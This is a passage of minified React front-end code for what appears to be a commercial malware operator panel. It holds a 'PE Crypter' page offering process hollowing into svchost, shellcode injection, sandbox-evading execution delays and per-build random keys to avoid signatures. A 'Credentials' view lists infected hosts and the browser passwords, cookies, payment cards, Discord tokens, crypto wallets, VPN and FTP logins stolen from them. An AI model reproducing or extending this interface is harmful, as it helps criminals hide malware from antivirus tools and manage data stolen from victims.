bg-zerin-accent/10 border border-zerin-accent/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})}),a.jsxs("div",{children:[a.jsx("h1",{className:"font-display text-lg font-bold text-zerin-text leading-none",children:"Crypter"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 tracking-wide",children:"PE ENCRYPTION ENGINE"})]})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5",children:[a.jsx("div",{className:"flex gap-0.5",children:Pa.map(_=>a.jsx("div",{className:`w-1.5 h-3 transition-colors duration-300 ${f[_.key]?"bg-zerin-accent":"bg-zerin-panel-border"}`},_.key))}),a.jsxs("span",{className:"font-mono text-[11px] text-zerin-text-dim",children:[P,"/",Pa.length]})]}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted border border-zerin-panel-border px-2 py-1 tracking-wider",children:"XOR + AES-256-CBC"})]})]}),a.jsx("div",{className:"flex-1 overflow-y-auto custom-scrollbar",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 py-6 space-y-5",children:[a.jsxs("div",{className:`relative overflow-hidden transition-all duration-300 cursor-pointer group
|
||
${r?"border border-zerin-accent/30 bg-zerin-accent/[0.03]":w?"border-2 border-dashed border-zerin-accent bg-zerin-accent/5":"border border-dashed border-zerin-panel-border-hover hover:border-zerin-text-muted/30"}`,onDragOver:_=>{_.preventDefault(),j(!0)},onDragLeave:()=>j(!1),onDrop:G,onClick:()=>{var _;return!r&&((_=O.current)==null?void 0:_.click())},children:[!r&&a.jsx("div",{className:"absolute inset-0 overflow-hidden pointer-events-none opacity-[0.04]",children:a.jsx("div",{className:"font-mono text-[9px] leading-[14px] text-zerin-text whitespace-pre select-none pt-1 pl-3",style:{animation:"crypterHexScroll 30s linear infinite"},children:T.concat(T).map((_,M)=>a.jsx("div",{children:_},M))})}),!r&&!w&&a.jsx("div",{className:"crypter-scan-line"}),a.jsx("input",{ref:O,type:"file",accept:".exe",className:"hidden",onChange:_=>{var F;const M=(F=_.target.files)==null?void 0:F[0];M&&(i(M),S(!1))}}),r?a.jsxs("div",{className:"relative px-5 py-4 flex items-center gap-4",children:[a.jsx("div",{className:"flex-none w-10 h-10 bg-zerin-accent/10 border border-zerin-accent/25 flex items-center justify-center crypter-pulse-ring",children:a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M4.5 2A1.5 1.5 0 0 0 3 3.5v13A1.5 1.5 0 0 0 4.5 18h11a1.5 1.5 0 0 0 1.5-1.5V7.621a1.5 1.5 0 0 0-.44-1.06l-4.12-4.122A1.5 1.5 0 0 0 11.378 2H4.5Zm7.75 9.75a.75.75 0 0 0 0-1.5h-4.5a.75.75 0 0 0 0 1.5h4.5Z",clipRule:"evenodd"})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsx("div",{className:"font-mono text-sm text-zerin-text truncate",children:r.name}),a.jsxs("div",{className:"flex items-center gap-3 mt-0.5",children:[a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:r.size<1024*1024?`${(r.size/1024).toFixed(1)} KB`:`${(r.size/(1024*1024)).toFixed(2)} MB`}),a.jsx("span",{className:"text-zerin-panel-border",children:"·"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70",children:"PE32+ executable"})]})]}),a.jsx("button",{onClick:_=>{_.stopPropagation(),R()},className:"flex-none p-1.5 text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Remove file",children:a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z"})})})]}):a.jsxs("div",{className:"relative px-5 py-8 text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 border border-zerin-panel-border-hover flex items-center justify-center group-hover:border-zerin-text-muted/30 transition-colors",children:a.jsxs("svg",{className:"w-5 h-5 text-zerin-text-muted group-hover:text-zerin-text-dim transition-colors",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{d:"M9.25 13.25a.75.75 0 0 0 1.5 0V4.636l2.955 3.129a.75.75 0 0 0 1.09-1.03l-4.25-4.5a.75.75 0 0 0-1.09 0l-4.25 4.5a.75.75 0 1 0 1.09 1.03L9.25 4.636v8.614Z"}),a.jsx("path",{d:"M3.5 12.75a.75.75 0 0 0-1.5 0v2.5A2.75 2.75 0 0 0 4.75 18h10.5A2.75 2.75 0 0 0 18 15.25v-2.5a.75.75 0 0 0-1.5 0v2.5c0 .69-.56 1.25-1.25 1.25H4.75c-.69 0-1.25-.56-1.25-1.25v-2.5Z"})]})}),a.jsxs("p",{className:"font-mono text-sm text-zerin-text-dim",children:["Drop a ",a.jsx("span",{className:"text-zerin-accent",children:".exe"})," here or click to browse"]}),a.jsx("p",{className:"font-mono text-[11px] text-zerin-text-muted mt-1",children:"Max 50 MB · Windows PE executables only"})]})]}),a.jsxs("div",{className:"grid lg:grid-cols-5 gap-5",children:[a.jsxs("div",{className:"lg:col-span-3 space-y-5",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Injection Mode"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="runpe"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="runpe"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="runpe"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M15.98 1.804a1 1 0 0 0-1.96 0l-.24 1.192a1 1 0 0 1-.784.785l-1.192.238a1 1 0 0 0 0 1.962l1.192.238a1 1 0 0 1 .785.785l.238 1.192a1 1 0 0 0 1.962 0l.238-1.192a1 1 0 0 1 .785-.785l1.192-.238a1 1 0 0 0 0-1.962l-1.192-.238a1 1 0 0 1-.785-.785l-.238-1.192ZM6.949 5.684a1 1 0 0 0-1.898 0l-.683 2.051a1 1 0 0 1-.633.633l-2.051.683a1 1 0 0 0 0 1.898l2.051.684a1 1 0 0 1 .633.632l.683 2.051a1 1 0 0 0 1.898 0l.683-2.051a1 1 0 0 1 .633-.633l2.051-.683a1 1 0 0 0 0-1.898l-2.051-.683a1 1 0 0 1-.633-.633L6.95 5.684Z"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="runpe"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"RunPE"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"Process hollowing — spawns target, unmaps image, writes payload into process memory space"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="shellcode"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M6.28 5.22a.75.75 0 0 1 0 1.06L2.56 10l3.72 3.72a.75.75 0 0 1-1.06 1.06L.97 10.53a.75.75 0 0 1 0-1.06l4.25-4.25a.75.75 0 0 1 1.06 0Zm7.44 0a.75.75 0 0 1 1.06 0l4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.75.75 0 0 1-1.06-1.06L17.44 10l-3.72-3.72a.75.75 0 0 1 0-1.06ZM11.377 2.011a.75.75 0 0 1 .612.867l-2.5 14.5a.75.75 0 0 1-1.478-.255l2.5-14.5a.75.75 0 0 1 .866-.612Z",clipRule:"evenodd"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"Shellcode"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"VirtualAlloc + new thread — allocates RWX memory, copies decrypted payload, creates execution thread"})]})]}),s==="runpe"&&a.jsxs("div",{className:"mt-4 pt-4 border-t border-zerin-panel-border",children:[a.jsx("div",{className:"flex items-center justify-between mb-2.5",children:a.jsx("label",{className:"font-mono text-[11px] text-zerin-text-muted uppercase tracking-wider",children:"Target Process"})}),a.jsx("div",{className:"flex flex-wrap gap-1.5 mb-2.5",children:IV.map(_=>a.jsx("button",{onClick:()=>c(_.path),className:`font-mono text-[11px] px-2 py-1 border transition-colors ${l===_.path?"border-zerin-accent/40 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,title:_.desc,children:_.label},_.path))}),a.jsx("input",{type:"text",value:l,onChange:_=>c(_.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none focus:ring-1 focus:ring-zerin-accent/20 transition-all",placeholder:"C:\\Windows\\System32\\svchost.exe"})]})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Execution Delay"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("input",{type:"range",min:0,max:300,value:u,onChange:_=>d(parseInt(_.target.value)),className:"flex-1 h-1 bg-zerin-panel-border appearance-none cursor-pointer [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3 [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:_=>d(Math.max(0,Math.min(300,parseInt(_.target.value)||0))),className:"w-16 bg-zerin-bg border border-zerin-panel-border px-2 py-1.5 text-center text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"sec"})]})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-2",children:u===0?"No delay — payload executes immediately after decryption":`Sleeps ${u}s before execution — evades sandbox timeout windows`})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Build Output"})]}),h&&a.jsxs("span",{className:"font-mono text-[11px] text-zerin-accent tabular-nums",children:[Math.round(g),"%"]})]}),(h||g>0)&&a.jsx("div",{className:"h-[2px] bg-zerin-bg",children:a.jsx("div",{className:`h-full transition-all duration-700 ease-out ${z?"bg-emerald-500":"bg-zerin-accent crypter-progress-glow"}`,style:{width:`${g}%`}})}),a.jsx("div",{ref:A,className:"h-36 overflow-y-auto custom-scrollbar px-4 py-3 bg-[#0A0A0C]",children:N.length===0&&!h?a.jsx("div",{className:"h-full flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/50",children:"Waiting for build..."})}):a.jsxs("div",{className:"space-y-0.5",children:[N.map((_,M)=>a.jsxs("div",{className:"font-mono text-[11px] leading-relaxed crypter-layer-enter flex items-start gap-2",style:{animationDelay:`${M*30}ms`},children:[a.jsx("span",{className:`flex-none ${_.includes("OK")||_.includes("complete")?"text-emerald-500":"text-zerin-accent/50"}`,children:_.includes("OK")||_.includes("complete")?"✓":"›"}),a.jsx("span",{className:_.includes("OK")||_.includes("complete")?"text-emerald-400/90":"text-zerin-text-dim",children:_})]},M)),h&&a.jsx("div",{className:"font-mono text-[11px] crypter-terminal-cursor",children:a.jsx("span",{className:"text-zerin-accent/50",children:"› "})})]})}),a.jsxs("div",{className:"p-4 border-t border-zerin-panel-border",children:[a.jsx("button",{onClick:K,disabled:!r||h,className:`w-full py-3 font-mono font-semibold text-sm tracking-wide transition-all duration-300 flex items-center justify-center gap-2 ${r?h?"bg-zerin-accent/20 border border-zerin-accent/30 text-zerin-accent cursor-wait":z?"bg-emerald-500/10 border border-emerald-500/30 text-emerald-400 hover:bg-emerald-500/15":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_24px_rgba(6,182,212,0.35)] active:scale-[0.99]":"bg-zerin-panel-hover border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed"}`,children:h?a.jsxs(a.Fragment,{children:[a.jsxs("svg",{className:"w-4 h-4 animate-spin",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Crypting..."]}):z?a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4 crypter-check-in",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}),"Downloaded — Crypt Again"]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})}),"Crypt Payload"]})}),v&&a.jsxs("div",{className:"mt-3 px-3 py-2.5 border border-red-500/20 bg-red-500/5 flex items-start gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-red-400 flex-none mt-px",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 10a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-8-5a.75.75 0 0 1 .75.75v4.5a.75.75 0 0 1-1.5 0v-4.5A.75.75 0 0 1 10 5Zm0 10a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})}),a.jsx("span",{className:"text-red-400 text-sm font-mono",children:v})]})]})]})]}),a.jsxs("div",{className:"lg:col-span-2",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border lg:sticky lg:top-6",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Defense Layers"})]}),a.jsx("button",{onClick:()=>{const _=P===Pa.length,M={};Pa.forEach(F=>{M[F.key]=!_}),p(M)},className:"font-mono text-[10px] text-zerin-text-muted hover:text-zerin-accent transition-colors uppercase tracking-wider",children:P===Pa.length?"Clear All":"Enable All"})]}),a.jsx("div",{className:"divide-y divide-zerin-panel-border/50",children:Pa.map((_,M)=>{const F=f[_.key];return a.jsxs("button",{onClick:()=>D(_.key),className:`w-full text-left px-4 py-3.5 flex items-start gap-3 transition-all duration-200 group/layer ${F?"bg-zerin-accent/[0.04]":"hover:bg-zerin-panel-hover/50"}`,children:[a.jsx("div",{className:"flex-none pt-px",children:a.jsx("div",{className:`w-7 h-7 flex items-center justify-center border transition-all duration-300 ${F?"border-zerin-accent/40 bg-zerin-accent/15 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted group-hover/layer:border-zerin-panel-border-hover"}`,children:F?a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}):a.jsx("span",{className:"font-mono text-[10px]",children:M+1})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`font-mono text-sm transition-colors ${F?"text-zerin-text":"text-zerin-text-dim"}`,children:_.label}),F&&a.jsx("span",{className:"w-1.5 h-1.5 bg-zerin-accent rounded-full flex-none"})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 leading-relaxed",children:_.desc})]}),a.jsx("div",{className:`flex-none pt-0.5 transition-colors ${F?"text-zerin-accent/60":"text-zerin-text-muted/40"}`,children:_.icon})]},_.key)})}),a.jsx("div",{className:"px-4 py-3 border-t border-zerin-panel-border bg-zerin-bg/50",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"w-3.5 h-3.5 text-zerin-accent/60",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1c-1.716 0-3.408.106-5.07.31C3.806 1.45 3 2.414 3 3.517V16.75A2.25 2.25 0 0 0 5.25 19h9.5A2.25 2.25 0 0 0 17 16.75V3.517c0-1.103-.806-2.068-1.93-2.207A41.403 41.403 0 0 0 10 1Z",clipRule:"evenodd"})}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"Protection score"})]}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"flex gap-px",children:[1,2,3,4,5].map(_=>a.jsx("div",{className:`w-2.5 h-1 transition-colors duration-300 ${_<=P?"bg-zerin-accent":"bg-zerin-panel-border"}`},_))}),a.jsx("span",{className:`font-mono text-[11px] font-semibold tabular-nums ${P>=4?"text-zerin-accent":P>=2?"text-zerin-text-dim":"text-zerin-text-muted"}`,children:P===5?"MAX":`${P}/5`})]})]})})]}),a.jsx("div",{className:"mt-5 bg-zerin-panel border border-zerin-panel-border p-4 space-y-2.5",children:["XOR + AES-256-CBC layered encryption","Random keys per build — zero shared signatures","Fire-and-forget — no files stored on server","Stub compiled per-request with unique entropy"].map((_,M)=>a.jsxs("div",{className:"flex items-start gap-2.5",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-accent/50 mt-px",children:">"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:_})]},M))})]})]})]})})]}):a.jsxs("div",{className:"flex items-center justify-center min-h-[80vh] p-6",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"relative max-w-lg w-full",children:[a.jsx("div",{className:"absolute -inset-px bg-gradient-to-b from-zerin-accent/20 via-transparent to-transparent"}),a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border p-10 text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 border border-zerin-panel-border-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})})}),a.jsx("div",{className:"font-mono text-xs text-zerin-accent/60 tracking-[0.3em] uppercase mb-2",children:"Premium Feature"}),a.jsx("h2",{className:"font-display text-2xl font-bold text-zerin-text mb-3",children:"PE Crypter"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-8 leading-relaxed max-w-sm mx-auto",children:"Layered XOR + AES-256 encryption with configurable injection modes, evasion layers, and per-build random keys."}),a.jsxs(xt,{to:"/#pricing",className:"inline-flex items-center gap-2 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 hover:shadow-[0_0_24px_rgba(6,182,212,0.3)] transition-all duration-300",children:["Upgrade License",a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5.22 14.78a.75.75 0 0 0 1.06 0l7.22-7.22v5.69a.75.75 0 0 0 1.5 0v-7.5a.75.75 0 0 0-.75-.75h-7.5a.75.75 0 0 0 0 1.5h5.69l-7.22 7.22a.75.75 0 0 0 0 1.06Z",clipRule:"evenodd"})})]})]})]})]})}function $V(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function Zb(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;l<n.length;l++)r[l]=n.charCodeAt(l);const i=new Blob([r],{type:"application/octet-stream"}),s=URL.createObjectURL(i),o=document.createElement("a");o.href=s,o.download=t,o.click(),URL.revokeObjectURL(s)}catch{}}function Qb(e){var n,r,i,s,o,l,c,u,d,f,p,h,x,g,y,v,b,w;let t=0;return t+=((n=e.chrome_passwords)==null?void 0:n.length)??0,t+=((r=e.firefox_passwords)==null?void 0:r.length)??0,t+=((i=e.chrome_cookies)==null?void 0:i.length)??0,t+=((s=e.chrome_cards)==null?void 0:s.length)??0,t+=((o=e.wifi)==null?void 0:o.length)??0,t+=((l=e.windows_credentials)==null?void 0:l.length)??0,t+=((c=e.discord_tokens)==null?void 0:c.length)??0,(u=e.telegram)!=null&&u.found&&t++,t+=((d=e.filezilla)==null?void 0:d.length)??0,t+=((f=e.winscp)==null?void 0:f.length)??0,t+=((p=e.putty)==null?void 0:p.length)??0,t+=((h=e.outlook)==null?void 0:h.length)??0,(x=e.steam)!=null&&x.found&&t++,(g=e.epic)!=null&&g.found&&t++,t+=((y=e.minecraft)==null?void 0:y.length)??0,(v=e.roblox)!=null&&v.found&&t++,t+=((b=e.wallets)==null?void 0:b.length)??0,t+=((w=e.vpn)==null?void 0:w.length)??0,t}const br=()=>a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function BV(){var A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze,X,re,oe,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const L=await w6();t(L)}catch(L){s(L instanceof Error?L.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const L=new Map;for(const ie of e){let de=L.get(ie.agent_id);de||(de={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},L.set(ie.agent_id,de)),de.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(L.values())})(),j=x?w.filter(L=>L.hostname.toLowerCase().includes(x.toLowerCase())||L.username.toLowerCase().includes(x.toLowerCase())||L.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(L,ie)=>{var de,lt,Ct,Lt,gr,Qr,Li,As,Cf,Jr,bt,rn,zv,Sv,Cv,Pv,Ev,_v,Av;l({agent:L,grabIdx:ie});try{const ct=JSON.parse(L.grabs[ie].output);u(ct);const yn=new Set;(((de=ct.chrome_passwords)==null?void 0:de.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((As=ct.telegram)!=null&&As.found||(Cf=ct.filezilla)!=null&&Cf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((zv=ct.steam)!=null&&zv.found||(Sv=ct.epic)!=null&&Sv.found||(Cv=ct.minecraft)!=null&&Cv.length||(Pv=ct.roblox)!=null&&Pv.found)&&yn.add("gaming"),(Ev=ct.wallets)!=null&&Ev.length&&yn.add("wallets"),(_v=ct.vpn)!=null&&_v.length&&yn.add("vpn"),(Av=ct.errors)!=null&&Av.length&&yn.add("errors"),f(yn)}catch{u(null)}},k=L=>{f(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},z=L=>{v(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},S=(L,ie)=>{navigator.clipboard.writeText(L).then(()=>{const de=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:de,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},O=()=>{if(!c||!o)return;const L=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(L),de=document.createElement("a");de.href=ie,de.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,de.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:L=>g(L.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r
|
||
placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r
|
||
